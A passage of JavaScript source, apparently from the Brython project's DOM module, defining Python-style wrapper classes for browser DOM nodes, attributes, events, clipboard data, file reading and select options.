        if(obj[$DOMEventAttrs_IE[i]] === undefined){return false}
    }
    return true
}
// DOM node types
var $NodeTypes = {1:  "ELEMENT",
    2: "ATTRIBUTE",
    3: "TEXT",
    4: "CDATA_SECTION",
    5: "ENTITY_REFERENCE",
    6: "ENTITY",
    7: "PROCESSING_INSTRUCTION",
    8: "COMMENT",
    9: "DOCUMENT",
    10: "DOCUMENT_TYPE",
    11: "DOCUMENT_FRAGMENT",
    12: "NOTATION"
}
// Class for DOM attributes
var Attributes = $B.make_class("Attributes",
    function(elt){
        return{
            __class__: Attributes,
            elt: elt
        }
    }
)
Attributes.__contains__ = function(){
    var $ = $B.args("__getitem__", 2, {self: null, key:null},
        ["self", "key"], arguments, {}, null, null)
    if($.self.elt instanceof SVGElement){
        return $.self.elt.hasAttributeNS(null, $.key)
    }else if(typeof $.self.elt.hasAttribute == "function"){
        return $.self.elt.hasAttribute($.key)
    }
    return false
}
Attributes.__delitem__ = function(){
    var $ = $B.args("__getitem__", 2, {self: null, key:null},
        ["self", "key"], arguments, {}, null, null)
    if(!Attributes.__contains__($.self, $.key)){
        throw _b_.KeyError.$factory($.key)
    }
    if($.self.elt instanceof SVGElement){
        $.self.elt.removeAttributeNS(null, $.key)
        return _b_.None
    }else if(typeof $.self.elt.hasAttribute == "function"){
        $.self.elt.removeAttribute($.key)
        return _b_.None
    }
}
Attributes.__getitem__ = function(){
    var $ = $B.args("__getitem__", 2, {self: null, key:null},
        ["self", "key"], arguments, {}, null, null)
    if($.self.elt instanceof SVGElement &&
            $.self.elt.hasAttributeNS(null, $.key)){
        return $.self.elt.getAttributeNS(null, $.key)
    }else if(typeof $.self.elt.hasAttribute == "function" &&
            $.self.elt.hasAttribute($.key)){
        return $.self.elt.getAttribute($.key)
    }
    throw _b_.KeyError.$factory($.key)
}
Attributes.__iter__ = function(self){
    self.$counter = 0
    // Initialize list of key-value attribute pairs
    var attrs = self.elt.attributes,
        items = []
    for(var i = 0; i < attrs.length; i++){
        items.push(attrs[i].name)
    }
    self.$items = items
    return self
}
Attributes.__next__ = function(){
    var $ = $B.args("__next__", 1, {self: null},
        ["self"], arguments, {}, null, null)
    if($.self.$counter < $.self.$items.length){
        var res = $.self.$items[$.self.$counter]
        $.self.$counter++
        return res
    }else{
        throw _b_.StopIteration.$factory("")
    }
}
Attributes.__setitem__ = function(){
    var $ = $B.args("__setitem__", 3, {self: null, key:null, value: null},
        ["self", "key", "value"], arguments, {}, null, null)
    if($.self.elt instanceof SVGElement &&
            typeof $.self.elt.setAttributeNS == "function"){
        $.self.elt.setAttributeNS(null, $.key, $.value)
        return _b_.None
    }else if(typeof $.self.elt.setAttribute == "function"){
        $.self.elt.setAttribute($.key, $.value)
        return _b_.None
    }
    throw _b_.TypeError.$factory("Can't set attributes on element")
}
Attributes.get = function(){
    var $ = $B.args("get", 3, {self: null, key:null, deflt: null},
        ["self", "key", "deflt"], arguments, {deflt:_b_.None}, null, null)
    try{
        return Attributes.__getitem__($.self, $.key)
    }catch(err){
        if(err.__class__ === _b_.KeyError){
            return $.deflt
        }else{
            throw err
        }
    }
}
Attributes.keys = function(){
    return Attributes.__iter__.apply(null, arguments)
}
Attributes.items = function(){
    var $ = $B.args("values", 1, {self: null},
        ["self"], arguments, {}, null, null),
        attrs = $.self.elt.attributes,
        values = []
    for(var i = 0; i < attrs.length; i++){
        values.push([attrs[i].name, attrs[i].value])
    }
    return _b_.list.__iter__(values)
}
Attributes.values = function(){
    var $ = $B.args("values", 1, {self: null},
        ["self"], arguments, {}, null, null),
        attrs = $.self.elt.attributes,
        values = []
    for(var i = 0; i < attrs.length; i++){
        values.push(attrs[i].value)
    }
    return _b_.list.__iter__(values)
}
$B.set_func_names(Attributes, "<dom>")
// Class for DOM events
var DOMEvent = $B.DOMEvent = {
    __class__: _b_.type,
    __mro__: [object],
    $infos:{
        __name__: "DOMEvent"
    }
}
DOMEvent.__new__ = function(cls, evt_name){
    var ev = new Event(evt_name)
    ev.__class__ = DOMEvent
    if(ev.preventDefault === undefined){
        ev.preventDefault = function(){ev.returnValue = false}
    }
    if(ev.stopPropagation === undefined){
        ev.stopPropagation = function(){ev.cancelBubble = true}
    }
    return ev
}
function dom2svg(svg_elt, coords){
    // Used to compute the mouse position relatively to the upper left corner
    // of an SVG element, based on the coordinates coords.x, coords.y that are
    // relative to the browser screen.
    var pt = svg_elt.createSVGPoint()
    pt.x = coords.x
    pt.y = coords.y
    return pt.matrixTransform(svg_elt.getScreenCTM().inverse())
}
DOMEvent.__getattribute__ = function(self, attr){
    switch(attr) {
        case '__repr__':
        case '__str__':
            return function(){return '<DOMEvent object>'}
        case 'x':
            return $mouseCoords(self).x
        case 'y':
            return $mouseCoords(self).y
        case 'data':
            if(self.dataTransfer !== undefined){
                return Clipboard.$factory(self.dataTransfer)
            }
            return $B.$JS2Py(self['data'])
        case 'target':
            if(self.target !== undefined){
                return DOMNode.$factory(self.target)
            }
        case 'char':
            return String.fromCharCode(self.which)
        case 'svgX':
            if(self.target instanceof SVGSVGElement){
                return Math.floor(dom2svg(self.target, $mouseCoords(self)).x)
            }
            throw _b_.AttributeError.$factory("event target is not an SVG " +
                "element")
        case 'svgY':
            if(self.target instanceof SVGSVGElement){
                return Math.floor(dom2svg(self.target, $mouseCoords(self)).y)
            }
            throw _b_.AttributeError.$factory("event target is not an SVG " +
                "element")
    }
    var res =  self[attr]
    if(res !== undefined){
        if(typeof res == "function"){
            var func = function(){
                var args = []
                for(var i = 0; i < arguments.length; i++){
                    args.push($B.pyobj2jsobj(arguments[i]))
                }
                return res.apply(self, arguments)
            }
            func.$infos = {
                __name__: res.name,
                __qualname__: res.name
            }
            return func
        }
        return $B.$JS2Py(res)
    }
    throw _b_.AttributeError.$factory("object DOMEvent has no attribute '" +
        attr + "'")
}
DOMEvent.$factory = function(evt_name){
    // Factory to create instances of DOMEvent, based on an event name
    return DOMEvent.__new__(DOMEvent, evt_name)
}
// Function to transform a DOM event into an instance of DOMEvent
var $DOMEvent = $B.$DOMEvent = function(ev){
    ev.__class__ = DOMEvent
    ev.$no_dict = true
    if(ev.preventDefault === undefined){
        ev.preventDefault = function(){ev.returnValue = false}
    }
    if(ev.stopPropagation === undefined){
        ev.stopPropagation = function(){ev.cancelBubble = true}
    }
    return ev
}
$B.set_func_names(DOMEvent, "browser")
var Clipboard = {
    __class__: _b_.type,
    $infos: {
        __module__: "browser",
        __name__: "Clipboard"
    }
}
Clipboard.__getitem__ = function(self, name){
    return self.data.getData(name)
}
Clipboard.__mro__ = [object]
Clipboard.__setitem__ = function(self, name, value){
    self.data.setData(name, value)
}
Clipboard.$factory = function(data){ // drag and drop dataTransfer
    return {
        __class__ : Clipboard,
        __dict__: _b_.dict.$factory(),
        data : data
    }
}
$B.set_func_names(Clipboard, "<dom>")
function $EventsList(elt, evt, arg){
    // handles a list of callback fuctions for the event evt of element elt
    // method .remove(callback) removes the callback from the list, and
    // removes the event listener
    this.elt = elt
    this.evt = evt
    if(isintance(arg, list)){this.callbacks = arg}
    else{this.callbacks = [arg]}
    this.remove = function(callback){
        var found = false
        for(var i = 0; i < this.callbacks.length; i++){
            if(this.callbacks[i] === callback){
                found = true
                this.callback.splice(i, 1)
                this.elt.removeEventListener(this.evt, callback, false)
                break
            }
        }
        if(! found){throw _b_.KeyError.$factory("not found")}
    }
}
var OpenFile = $B.OpenFile = {
    __class__: _b_.type,  // metaclass type
    __mro__: [object],
    $infos: {
        __module__: "<pydom>",
        __name__: "OpenFile"
    }
}
OpenFile.$factory = function(file, mode, encoding) {
    var res = {
        __class__: $OpenFileDict,
        file: file,
        reader: new FileReader()
    }
    if(mode === "r"){
        res.reader.readAsText(file, encoding)
    }else if(mode === "rb"){
        res.reader.readAsBinaryString(file)
    }
    return res
}
OpenFile.__getattr__ = function(self, attr) {
    if(self["get_" + attr] !== undefined){return self["get_" + attr]}
    return self.reader[attr]
}
OpenFile.__setattr__ = function(self, attr, value) {
    var obj = self.reader
    if(attr.substr(0,2) == "on"){ // event
        var callback = function(ev) { return value($DOMEvent(ev)) }
        obj.addEventListener(attr.substr(2), callback)
    }else if("set_" + attr in obj){
        return obj["set_" + attr](value)
    }else if(attr in obj){
        obj[attr] = value
    }else{
        setattr(obj, attr, value)
    }
}
$B.set_func_names(OpenFile, "<dom>")
var dom = {
    File : function(){},
    FileReader : function(){}
    }
dom.File.__class__ = _b_.type
dom.File.__str__ = function(){return "<class 'File'>"}
dom.FileReader.__class__ = _b_.type
dom.FileReader.__str__ = function(){return "<class 'FileReader'>"}
// Class for options in a select box
var Options = {
    __class__: _b_.type,
    __delitem__: function(self, arg){
        self.parent.options.remove(arg.elt)
    },
    __getitem__: function(self, key){
        return DOMNode.$factory(self.parent.options[key])
    },
    __len__: function(self){
        return self.parent.options.length
    },
    __mro__: [object],
    __setattr__: function(self, attr, value){
        self.parent.options[attr] = value
    },
    __setitem__: function(self, attr, value){
        self.parent.options[attr] = $B.$JS2Py(value)
    },
    __str__: function(self){
        return "<object Options wraps " + self.parent.options + ">"
    },
    append: function(self, element){
        self.parent.options.add(element.elt)
    },
    insert: function(self, index, element){
        if(index === undefined){self.parent.options.add(element.elt)}
        else{self.parent.options.add(element.elt, index)}
    },
    item: function(self, index){
        return self.parent.options.item(index)
    },
    namedItem: function(self, name){
        return self.parent.options.namedItem(name)
    },
    remove: function(self, arg){
        self.parent.options.remove(arg.elt)
    },
    $infos: {
        __module__: "<pydom>",
        __name__: "Options"
    }
}
Options.$factory = function(parent){
    return {
        __class__: Options,
        parent: parent
    }
}
$B.set_func_names(Options, "<dom>")
// Class for DOM nodes
var DOMNode = {
    __class__ : _b_.type,
    __mro__: [object],
    $infos: {
        __module__: "browser",
        __name__: "DOMNode"
    }
}
DOMNode.$factory = function(elt, fromtag){
    if(elt.__class__ === DOMNode){return elt}
    if(typeof elt == "number" || typeof elt == "boolean" ||
        typeof elt == "string"){return elt}
    // if none of the above, fromtag determines if the call is made by
    // the tag factory or by any other call to DOMNode
    // if made by tag factory (fromtag will be defined, the value is not
    // important), the regular plain old behavior is retained. Only the
    // return value of a DOMNode is sought
    // In other cases (fromtag is undefined), DOMNode tries to return a "tag"
    // from the browser.html module by looking into "$tags" which is set
    // by the  browser.html module itself (external sources could override
    // it) and piggybacks on the tag factory by adding an "elt_wrap"
    // attribute to the class to let it know, that special behavior
    // is needed. i.e: don't create the element, use the one provided
    if(fromtag === undefined) {
        if(DOMNode.tags !== undefined) {  // tags is a python dictionary
            var tdict = DOMNode.tags.$string_dict
            if(tdict !== undefined && tdict.hasOwnProperty(elt.tagName)) {
                try{
                    var klass = tdict[elt.tagName][0]
                }catch(err){
                    console.log("tdict", tdict, "tag name", elt.tagName)
                    throw err
                }
                if(klass !== undefined) {
                    // all checks are good
                    klass.$elt_wrap = elt  // tell class to wrap element
                    return klass.$factory()  // and return what the factory wants
                }
            }
        }
        // all "else" ... default to old behavior of plain DOMNode wrapping
    }
    if(elt["$brython_id"] === undefined || elt.nodeType == 9){
        // add a unique id for comparisons
        elt.$brython_id = "DOM-" + $B.UUID()
    }
    var __dict__ = _b_.dict.$factory()
    __dict__.$jsobj = elt
    return {
        __class__: DOMNode,
        __dict__: __dict__,
        elt: elt
    }
}
DOMNode.__add__ = function(self, other){
    // adding another element to self returns an instance of TagSum
    var res = TagSum.$factory()
    res.children = [self], pos = 1
    if(_b_.isinstance(other, TagSum)){
        res.children = res.children.concat(other.children)
    }else if(_b_.isinstance(other,[_b_.str, _b_.int, _b_.float, _b_.list,
                                _b_.dict, _b_.set, _b_.tuple])){
        res.children[pos++] = DOMNode.$factory(
            document.createTextNode(_b_.str.$factory(other)))
    }else if(_b_.isinstance(other, DOMNode)){
        res.children[pos++] = other
    }else{
        // If other is iterable, add all items
        try{res.children = res.children.concat(_b_.list.$factory(other))}
        catch(err){throw _b_.TypeError.$factory("can't add '" +
            $B.class_name(other) + "' object to DOMNode instance")
        }
    }
    return res
}
DOMNode.__bool__ = function(self){return true}
DOMNode.__contains__ = function(self, key){
    // For document, if key is a string, "key in document" tells if an element
    // with id "key" is in the document
    if(self.elt.nodeType == 9 && typeof key == "string"){
        return document.getElementById(key) !== null
    }
    key = key.elt !==undefined ? key.elt : key
    if(self.elt.length !== undefined && typeof self.elt.item == "function"){
        for(var i = 0, len = self.elt.length; i < len; i++){
            if(self.elt.item(i) === key){return true}
        }
    }
    return false
}
DOMNode.__del__ = function(self){
    // if element has a parent, calling __del__ removes object
    // from the parent's children
    if(!self.elt.parentNode){
        throw _b_.ValueError.$factory("can't delete " + _b_.str.$factory(self.elt))
    }
    self.elt.parentNode.removeChild(self.elt)
}
DOMNode.__delattr__ = function(self, attr){
    if(self.elt[attr] === undefined){
        throw _b_.AttributeError.$factory(
            `cannot delete DOMNode attribute '${attr}'`)
    }
    delete self.elt[attr]
    return _b_.None
}
DOMNode.__delitem__ = function(self, key){
    if(self.elt.nodeType == 9){ // document : remove by id
        var res = self.elt.getElementById(key)
        if(res){res.parentNode.removeChild(res)}
        else{throw _b_.KeyError.$factory(key)}
    }else{ // other node : remove by rank in child nodes
        self.elt.parentNode.removeChild(self.elt)
    }
}
DOMNode.__dir__ = function(self){
    var res = []
    // generic DOM attributes
    for(var attr in self.elt){
        if(attr.charAt(0) != "$"){res.push(attr)}
    }
    res.sort()
    return res
}
DOMNode.__eq__ = function(self, other){
    return self.elt == other.elt
}
DOMNode.__getattribute__ = function(self, attr){
    if(attr.substr(0, 2) == "$$"){attr = attr.substr(2)}
    switch(attr) {
        case "attrs":
            return Attributes.$factory(self.elt)
        case "class_name":
        case "html":
        case "id":
        case "parent":
        case "query":
        case "text":
            return DOMNode[attr](self)
        case "height":
        case "left":
        case "top":
        case "width":
            // Special case for Canvas
            // http://stackoverflow.com/questions/4938346/canvas-width-and-height-in-html5
            if(self.elt.tagName == "CANVAS" && self.elt[attr]){
                return self.elt[attr]
            }
            if(self.elt instanceof SVGElement){
                return self.elt[attr].baseVal.value
            }
            if(self.elt.style[attr]){
                return parseInt(self.elt.style[attr])
            }else{
                var computed = window.getComputedStyle(self.elt)[attr]
                if(computed !== undefined){
                    return Math.floor(parseFloat(computed) + 0.5)
                }
                throw _b_.AttributeError.$factory("style." + attr +
                    " is not set for " + _b_.str.$factory(self))
            }
        case "x":
        case "y":
            if(! (self.elt instanceof SVGElement)){
                var pos = $getPosition(self.elt)
                return attr == "x" ? pos.left : pos.top
            }
        case "clear":
        case "closest":
            return function(){
                return DOMNode[attr](self, arguments[0])
            }
        case "headers":
          if(self.elt.nodeType == 9){
              // HTTP headers
              var req = new XMLHttpRequest();
              req.open("GET", document.location, false)
              req.send(null);
              var headers = req.getAllResponseHeaders()
              headers = headers.split("\r\n")
              var res = _b_.dict.$factory()
              for(var i = 0; i < headers.length; i++){
                  var header = headers[i]
                  if(header.strip().length == 0){continue}
                  var pos = header.search(":")
                  res.__setitem__(header.substr(0, pos),
                      header.substr(pos + 1).lstrip())
              }
              return res
          }
          break
        case "$$location":
            attr = "location"
            break
    }
    // Special case for attribute "select" of INPUT or TEXTAREA tags :
    // they have a "select" methods ; element.select() selects the
    // element text content.
    // Return a function that, if called without arguments, uses this
    // method ; otherwise, uses DOMNode.select
    if(attr == "select" && self.elt.nodeType == 1 &&
            ["INPUT", "TEXTAREA"].indexOf(self.elt.tagName.toUpperCase()) > -1){
        return function(selector){
            if(selector === undefined){self.elt.select(); return _b_.None}
            return DOMNode.select(self, selector)
        }
    }
    // Looking for property. If the attribute is in the forbidden
    // arena ... look for the aliased version
    var property = self.elt[attr]
    if(property === undefined && $B.aliased_names[attr]){
        property = self.elt["$$" + attr]
    }
    if(property === undefined){
        return object.__getattribute__(self, attr)
    }
    var res = property
    
    if(res !== undefined){
        if(res === null){return _b_.None}
        if(typeof res === "function"){
            // If elt[attr] is a function, it is converted in another function
            // that produces a Python error message in case of failure.
            var func = (function(f, elt){
                return function(){
                    var args = [], pos = 0
                    for(var i = 0; i < arguments.length; i++){
                        var arg = arguments[i]
                        if(typeof arg == "function"){
                            // Conversion of function arguments into functions
                            // that handle exceptions. The converted function
                            // is cached, so that for instance in this code :
                            //
                            // element.addEventListener("click", f)
                            // element.removeEventListener("click", f)
                            //
                            // it is the same function "f" that is added and
                            // then removed (cf. issue #1157)
                            if(arg.$cache){
                                var f1 = arg.$cache
                            }else{
                                var f1 = function(dest_fn){
                                    return function(){
                                        try{
                                            return dest_fn.apply(null, arguments)
                                        }catch(err){
                                            $B.handle_error(err)
                                        }
                                    }
                                }(arg)
                                arg.$cache = f1
                            }
                            args[pos++] = f1
                        }
                        else if(_b_.isinstance(arg, JSObject)){
                            args[pos++] = arg.js
                        }else if(_b_.isinstance(arg, DOMNode)){
                            args[pos++] = arg.elt
                        }else if(arg === _b_.None){
                            args[pos++] = null
                        }else if(arg.__class__ == _b_.dict){
                            args[pos++] = _b_.dict.$to_obj(arg)
                        }else{
                            args[pos++] = arg
                        }
                    }
                    var result = f.apply(elt, args)
                    return $B.$JS2Py(result)
                }
            })(res, self.elt)
            func.$infos = {__name__ : attr, __qualname__: attr}
            func.$is_func = true
            return func
        }
        if(attr == 'options'){return Options.$factory(self.elt)}
        if(attr == 'style'){return $B.JSObject.$factory(self.elt[attr])}
        if(Array.isArray(res)){return res} // issue #619
        return $B.$JS2Py(res)
    }
    return object.__getattribute__(self, attr)
}
DOMNode.__getitem__ = function(self, key){
    if(self.elt.nodeType == 9){ // Document
        if(typeof key == "string"){
            var res = self.elt.getElementById(key)
            if(res){return DOMNode.$factory(res)}
            throw _b_.KeyError.$factory(key)
        }else{
            try{
                var elts = self.elt.getElementsByTagName(key.$infos.__name__),
                    res = []
                    for(var i = 0; i < elts.length; i++){
                        res.push(DOMNode.$factory(elts[i]))
                    }
                    return res
            }catch(err){
                throw _b_.KeyError.$factory(_b_.str.$factory(key))
            }
        }
    }else{
        if((typeof key == "number" || typeof key == "boolean") &&
            typeof self.elt.item == "function"){
                var key_to_int = _b_.int.$factory(key)
                if(key_to_int < 0){key_to_int += self.elt.length}
                var res = DOMNode.$factory(self.elt.item(key_to_int))
                if(res === undefined){throw _b_.KeyError.$factory(key)}
                return res
        }else if(typeof key == "string" &&
                 self.elt.attributes &&
                 typeof self.elt.attributes.getNamedItem == "function"){
             var attr = self.elt.attributes.getNamedItem(key)
             if(!!attr){return attr.value}
             throw _b_.KeyError.$factory(key)
        }
    }
}
DOMNode.__hash__ = function(self){
    return self.__hashvalue__ === undefined ?
        (self.__hashvalue__ = $B.$py_next_hash--) :
        self.__hashvalue__
}
DOMNode.__iter__ = function(self){
    // iteration on a Node
    if(self.elt.length !== undefined && typeof self.elt.item == "function"){
        var items = []
        for(var i = 0, len = self.elt.length; i < len; i++){
            items.push(DOMNode.$factory(self.elt.item(i)))
        }
    }else if(self.elt.childNodes !== undefined){
        var items = []
        for(var i = 0, len = self.elt.childNodes.length; i < len; i++){
            items.push(DOMNode.$factory(self.elt.childNodes[i]))
        }
    }
    return $B.$iter(items)
}
DOMNode.__le__ = function(self, other){
    // for document, append child to document.body
    var elt = self.elt
    if(self.elt.nodeType == 9){elt = self.elt.body}
    if(_b_.isinstance(other, TagSum)){
        for(var i = 0; i < other.children.length; i++){
            elt.appendChild(other.children[i].elt)
        }
    }else if(typeof other == "string" || typeof other == "number"){
        var $txt = document.createTextNode(other.toString())
        elt.appendChild($txt)
    }else if(_b_.isinstance(other, DOMNode)){
        // other is a DOMNode instance
        elt.appendChild(other.elt)
    }else{
        try{
            // If other is an iterable, add the items
            var items = _b_.list.$factory(other)
            items.forEach(function(item){
                DOMNode.__le__(self, item)
            })
        }catch(err){
            throw _b_.TypeError.$factory("can't add '" +
                $B.class_name(other) + "' object to DOMNode instance")
        }
    }
}
DOMNode.__len__ = function(self){return self.elt.length}
DOMNode.__mul__ = function(self,other){
    if(_b_.isinstance(other, _b_.int) && other.valueOf() > 0){
        var res = TagSum.$factory()
        var pos = res.children.length
        for(var i = 0; i < other.valueOf(); i++){
            res.children[pos++] = DOMNode.clone(self)()
        }
        return res
    }
    throw _b_.ValueError.$factory("can't multiply " + self.__class__ +
        "by " + other)
}
DOMNode.__ne__ = function(self, other){return ! DOMNode.__eq__(self, other)}
DOMNode.__next__ = function(self){
   self.$counter++
   if(self.$counter < self.elt.childNodes.length){
       return DOMNode.$factory(self.elt.childNodes[self.$counter])
   }
   throw _b_.StopIteration.$factory("StopIteration")
}
DOMNode.__radd__ = function(self, other){ // add to a string
    var res = TagSum.$factory()
    var txt = DOMNode.$factory(document.createTextNode(other))
    res.children = [txt, self]
    return res
}
DOMNode.__str__ = DOMNode.__repr__ = function(self){
    var proto = Object.getPrototypeOf(self.elt)
    if(proto){
        var name = proto.constructor.name
        if(name === undefined){ // IE
            var proto_str = proto.constructor.toString()
            name = proto_str.substring(8, proto_str.length - 1)
        }
        return "<" + name + " object>"
    }
    var res = "<DOMNode object type '"
    return res + $NodeTypes[self.elt.nodeType] + "' name '" +
        self.elt.nodeName + "'>"
}
DOMNode.__setattr__ = function(self, attr, value){
    // Sets the *property* attr of the underlying element (not its
    // *attribute*)
    if(attr.substr(0,2) == "on"){ // event
        if(!$B.$bool(value)){ // remove all callbacks attached to event
            DOMNode.unbind(self, attr.substr(2))
        }else{
            // value is a function taking an event as argument
            DOMNode.bind(self, attr.substr(2), value)
        }
    }else{
        switch(attr){
            case "left":
            case "top":
            case "width":
            case "height":
                if(_b_.isinstance(value, _b_.int) && self.elt.nodeType == 1){
                    self.elt.style[attr] = value + "px"
                    return _b_.None
                }else{
                    throw _b_.ValueError.$factory(attr + " value should be" +
                        " an integer, not " + $B.class_name(value))
                }
                break
        }
        if(DOMNode["set_" + attr] !== undefined) {
          return DOMNode["set_" + attr](self, value)
        }
        function warn(msg){
            console.log(msg)
            var frame = $B.last($B.frames_stack)
            if($B.debug > 0){
                var info = frame[1].$line_info.split(",")
                console.log("module", info[1], "line", info[0])
                if($B.$py_src.hasOwnProperty(info[1])){
                    var src = $B.$py_src[info[1]]
                    console.log(src.split("\n")[parseInt(info[0]) - 1])
                }
            }else{
                console.log("module", frame[2])
            }
        }
        // Warns if attr is a descriptor of the element's prototype
        // and it is not writable
        var proto = Object.getPrototypeOf(self.elt),
            nb = 0
        while(!!proto && proto !== Object.prototype && nb++ < 10){
            var descriptors = Object.getOwnPropertyDescriptors(proto)
            if(!!descriptors &&
                    typeof descriptors.hasOwnProperty == "function"){
                if(descriptors.hasOwnProperty(attr)){
                    if(!descriptors[attr].writable &&
                            descriptors[attr].set === undefined){
                        warn("Warning: property '" + attr +
                            "' is not writable. Use element.attrs['" +
                            attr +"'] instead.")
                    }
                    break
                }
            }else{
                break
            }
            proto = Object.getPrototypeOf(proto)
        }
        // Warns if attribute is a property of style
        if(self.elt.style && self.elt.style[attr] !== undefined){
            warn("Warning: '" + attr + "' is a property of element.style")
        }
        // Set the property
        if(value.__class__ === $B.JSObject &&
                value.js instanceof EventTarget){
            // Cf. issue #1393
            value = value.js
        }
        self.elt[attr] = value
        return _b_.None
    }
}
DOMNode.__setitem__ = function(self, key, value){
    if(typeof key == "number"){
        self.elt.childNodes[key] = value
    }else if(typeof key == "string"){
        if(self.elt.attributes){
            if(self.elt instanceof SVGElement){
                self.elt.setAttributeNS(null, key, value)
            }else if(typeof self.elt.setAttribute == "function"){
                self.elt.setAttribute(key, value)
            }
        }
    }
}
DOMNode.abs_left = {
    __get__: function(self){
        return $getPosition(self.elt).left
    },
    __set__: function(){
        throw _b_.AttributeError.$factory("'DOMNode' objectattribute " +
            "'abs_left' is read-only")
    }
}
DOMNode.abs_top = {
    __get__: function(self){
        return $getPosition(self.elt).top
    },
    __set__: function(){
        throw _b_.AttributeError.$factory("'DOMNode' objectattribute " +
            "'abs_top' is read-only")
    }
}
DOMNode.bind = function(self, event){
    // bind functions to the event (event = "click", "mouseover" etc.)
    var $ = $B.args("bind", 4,
            {self: null, event: null, func: null, options: null},
            ["self", "event", "func", "options"], arguments,
            {options: _b_.None}, null, null),
            self = $.self,
            event = $.event,
            func = $.func,
            options = $.options
    var callback = (function(f){
        return function(ev){
            try{
                return f($DOMEvent(ev))
            }catch(err){
                if(err.__class__ !== undefined){
                    $B.handle_error(err)
                }else{
                    try{$B.$getattr($B.stderr, "write")(err)}
                    catch(err1){console.log(err)}
                }
            }
        }}
    )(func)
    callback.$infos = func.$infos
    callback.$attrs = func.$attrs || {}
    callback.$func = func
    if(typeof options == "boolean"){
        self.elt.addEventListener(event, callback, options)
    }else if(options.__class__ === _b_.dict){
        self.elt.addEventListener(event, callback, _b_.dict.$to_obj(options))
    }else if(options === _b_.None){
        self.elt.addEventListener(event, callback, false)
    }
    self.elt.$events = self.elt.$events || {}
    self.elt.$events[event] = self.elt.$events[event] || []
    self.elt.$events[event].push([func, callback])
    return self
}
DOMNode.children = function(self){
    var res = [],
        elt = self.elt
    console.log(elt, elt.childNodes)
    if(elt.nodeType == 9){elt = elt.body}
    elt.childNodes.forEach(function(child){
        res.push(DOMNode.$factory(child))
    })
    return res
}
DOMNode.clear = function(self){
    // remove all children elements
    var elt = self.elt
    if(elt.nodeType == 9){elt = elt.body}
    while(elt.firstChild){
       elt.removeChild(elt.firstChild)
    }
}
DOMNode.Class = function(self){
    if(self.elt.className !== undefined){return self.elt.className}
    return _b_.None
}
DOMNode.class_name = function(self){return DOMNode.Class(self)}
DOMNode.clone = function(self){
    var res = DOMNode.$factory(self.elt.cloneNode(true))
    // bind events on clone to the same callbacks as self
    var events = self.elt.$events || {}
    for(var event in events){
        var evt_list = events[event]
        evt_list.forEach(function(evt){
            var func = evt[0]
            DOMNode.bind(res, event, func)
        })
    }
    return res
}
DOMNode.closest = function(self, tagName){
    // Returns the first parent of self with specified tagName
    // Raises KeyError if not found
    var res = self.elt,
        tagName = tagName.toLowerCase()
    while(res.tagName.toLowerCase() != tagName){
        res = res.parentNode
        if(res === undefined || res.tagName === undefined){
            throw _b_.KeyError.$factory("no parent of type " + tagName)
        }
    }
    return DOMNode.$factory(res)
}
DOMNode.events = function(self, event){
    self.elt.$events = self.elt.$events || {}
    var evt_list = self.elt.$events[event] = self.elt.$events[event] || [],
        callbacks = []
    evt_list.forEach(function(evt){
        callbacks.push(evt[1])
    })
    return callbacks
}
DOMNode.focus = function(self){
    return (function(obj){
        return function(){
            // focus() is not supported in IE
            setTimeout(function(){obj.focus()}, 10)
        }
    })(self.elt)
}
function make_list(node_list){
    var res = []
    for(var i = 0; i < node_list.length; i++){
        res.push(DOMNode.$factory(node_list[i]))
    }
    return res
}
DOMNode.get = function(self){
    // for document : doc.get(key1=value1[,key2=value2...]) returns a list of the elements
    // with specified keys/values
    // key can be 'id','name' or 'selector'
    var obj = self.elt,
        args = []
    for(var i = 1; i < arguments.length; i++){args.push(arguments[i])}
    var $ns = $B.args("get", 0, {}, [], args, {}, null, "kw"),
        $dict = {},
        items = _b_.list.$factory(_b_.dict.items($ns["kw"]))
    items.forEach(function(item){
        $dict[item[0]] = item[1]
    })
    if($dict["name"] !== undefined){
        if(obj.getElementsByName === undefined){
            throw _b_.TypeError.$factory("DOMNode object doesn't support " +
                "selection by name")
        }
        return make_list(obj.getElementsByName($dict['name']))
    }
    if($dict["tag"] !== undefined){
        if(obj.getElementsByTagName === undefined){
            throw _b_.TypeError.$factory("DOMNode object doesn't support " +
                "selection by tag name")
        }
        return make_list(obj.getElementsByTagName($dict["tag"]))
    }
    if($dict["classname"] !== undefined){
        if(obj.getElementsByClassName === undefined){
            throw _b_.TypeError.$factory("DOMNode object doesn't support " +
                "selection by class name")
        }
        return make_list(obj.getElementsByClassName($dict['classname']))
    }
    if($dict["id"] !== undefined){
        if(obj.getElementById === undefined){
            throw _b_.TypeError.$factory("DOMNode object doesn't support " +
                "selection by id")
        }
        var id_res = document.getElementById($dict['id'])
        if(! id_res){return []}
        return [DOMNode.$factory(id_res)]
    }
    if($dict["selector"] !== undefined){
        if(obj.querySelectorAll === undefined){
            throw _b_.TypeError.$factory("DOMNode object doesn't support " +
                "selection by selector")
        }
        return make_list(obj.querySelectorAll($dict['selector']))
    }
    return res
}
DOMNode.getContext = function(self){ // for CANVAS tag
    if(!("getContext" in self.elt)){
      throw _b_.AttributeError.$factory("object has no attribute 'getContext'")
    }
    var obj = self.elt
    return function(ctx){return JSObject.$factory(obj.getContext(ctx))}
}
DOMNode.getSelectionRange = function(self){ // for TEXTAREA
    if(self.elt["getSelectionRange"] !== undefined){
        return self.elt.getSelectionRange.apply(null, arguments)
    }
}
DOMNode.html = function(self){
    var res = self.elt.innerHTML
    if(res === undefined){
        if(self.elt.nodeType == 9){res = self.elt.body.innerHTML}
        else{res = _b_.None}
    }
    return res
}
DOMNode.id = function(self){
    if(self.elt.id !== undefined){return self.elt.id}
    return _b_.None
}
DOMNode.index = function(self, selector){
    var items
    if(selector === undefined){
        items = self.elt.parentElement.childNodes
    }else{
        items = self.elt.parentElement.querySelectorAll(selector)
    }
    var rank = -1
    for(var i = 0; i < items.length; i++){
        if(items[i] === self.elt){rank = i; break}
    }
    return rank
}
DOMNode.inside = function(self, other){
    // Test if a node is inside another node
    other = other.elt
    var elt = self.elt
    while(true){
        if(other === elt){return true}
        elt = elt.parentElement
        if(! elt){return false}
    }
}
DOMNode.options = function(self){ // for SELECT tag
    return new $OptionsClass(self.elt)
}
DOMNode.parent = function(self){
    if(self.elt.parentElement){
        return DOMNode.$factory(self.elt.parentElement)
    }
    return _b_.None
}
DOMNode.reset = function(self){ // for FORM
    return function(){self.elt.reset()}
}
DOMNode.scrolled_left = {
    __get__: function(self){
        return $getPosition(self.elt).left -
            document.scrollingElement.scrollLeft
    },
    __set__: function(){
        throw _b_.AttributeError.$factory("'DOMNode' objectattribute " +
